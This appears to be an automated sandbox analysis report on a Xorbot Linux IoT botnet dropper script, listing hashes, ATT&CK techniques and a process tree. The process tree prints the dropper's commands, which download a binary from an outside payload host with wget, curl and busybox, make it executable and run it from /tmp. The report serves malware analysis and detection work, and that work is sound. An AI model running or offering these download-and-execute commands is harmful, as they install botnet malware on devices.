xorbot | f9bbb5314718092bec8de4c926c56ceb2f2c539635eed118b6be25c41dff391d

Analysis

max time kernel
140s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30-11-2024 18:41

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General

Target

bins.sh
Size

10KB
MD5

277216eb024be84aef13b1ce93f09b83
SHA1

4ed577ff10f121b83f630d8a80dd8dc48b61b48d
SHA256

f9bbb5314718092bec8de4c926c56ceb2f2c539635eed118b6be25c41dff391d
SHA512

cfd13936e626f6aa81a3062f35d4ce9654bce5207bb0d5c70f89f97c1d4b1fe8056d0b85bbb9688aabdc2cc52ec6ee95f75452353902354fc2614c88c7c91746
SSDEEP

96:YFlWUTUvUnbyyvL99HtWtGtn6emV1FHokhJNJNJWBlkgcOl7X2L7XgL6ymUPWsP6:+IcnbyyvKk8ImW6XIcnbyy2s

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
809	chmod

Executes dropped EXE 1 IoCs

Processes:

4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

ioc	pid	Process
/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	810	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetwgetcurlbusybox

pid	Process
813	wget
707	wget
721	curl
730	busybox

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurl

description	ioc	Process
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	wget
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:699
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - System Network Configuration Discovery
  PID:730
- /bin/chmod
  chmod 777 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  ./4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - System Network Configuration Discovery
  PID:813

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

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